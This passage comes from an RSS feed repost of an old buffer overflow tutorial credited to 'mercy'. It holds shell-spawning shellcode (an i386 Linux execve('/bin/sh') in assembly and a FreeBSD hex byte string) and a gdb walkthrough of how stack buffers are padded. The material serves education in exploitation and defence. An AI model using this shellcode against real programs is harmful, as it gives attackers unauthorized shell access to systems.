	lea (%esp, 1), %edx          # execve //bin/sh<br />
	push %eax<br />
	push %ebx<br />
	lea (%esp, 1), %ecx<br />
	mov $0xb, %eax<br />
	int $0&#215;80<br />
	xor %eax, %eax        #  exit<br />
	mov $0&#215;1, %eax<br />
	int $0&#215;80<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>(Written by mercy)</p>
<p>4.4-RELEASE FreeBSD:<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>   \xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b<br />
   \x08\x89\x43\x0c\x50\x8d\x53\x08\x52\x53<br />
   \xb0\x3b\x50\xcd\x80\xe8\xe4\xff\xff\xff<br />
   /bin/sh</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>SPARC/Solaris, SPARC/SunOS, taken from Aleph One&#8217;s text in phrack magazine issue 49.<br />
i386 LINUX, written by mercy.<br />
4.4-RELEASE FreeBSD, taken from the hack.datafort challenges.</p>
<p>[NOTES:]<br />
I told you earlier that on a lot of the newer linux distrobutions you have what is known as junk between<br />
registers and buffers, and your buffer is not always as large as you specify it to be, here is an example<br />
of a buffer declared to hold an array of 100 elements:</p>
<p>//&#8212;-junk.c&#8212;&#8211;<br />
#include <stdio.h><br />
int main(void)<br />
{<br />
    char buffer[100];<br />
    return(0);<br />
}<br />
//&#8212;&#8211;snip&#8212;&#8212;-</p>
<p>[mercy@dtors mercy]$ ./junk<br />
[mercy@dtors mercy]$ gdb ./junk -q<br />
(gdb) disass main<br />
Dump of assembler code for function main:<br />
0x80482f4 <main>:       push   %ebp<br />
0x80482f5 <main+1>:     mov    %esp,%ebp<br />
0x80482f7 <main+3>:     sub    $0&#215;78,%esp         ##### WE ARE INTERESTED IN THIS #####<br />
0x80482fa <main+6>:     and    $0xfffffff0,%esp<br />
0x80482fd <main+9>:     mov    $0&#215;0,%eax<br />
0&#215;8048302 <main+14>:    sub    %eax,%esp<br />
0&#215;8048304 <main+16>:    mov    $0&#215;0,%eax<br />
0&#215;8048309 <main+21>:    leave<br />
0x804830a <main+22>:    ret<br />
0x804830b <main+23>:    nop<br />
End of assembler dump.<br />
(gdb) </p>
<p>sub $0&#215;78, this is setting aside space for the array buffer, though in hex, so $0&#215;78 in decimal is: 120<br />
So for this small program, buffer is infact 120 bytes long, so the overflow will look like:<br />
[EIP]<br />
[EBP]<br />
buffer[120]</p>
<p>**********************************************************************************<br />
If you have any questions about the article above, or need help in any area with buffer overflows, feel free<br />
to contact mercy and he will eget back to you with relevant links or needed information asap.</p>
<p>mercy@felinemenace.org</p>
]]></content:encoded>
			<wfw:commentRss>http://securitygyan.com/2009/05/03/basic-buffer-overflow-exploitation-explained/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

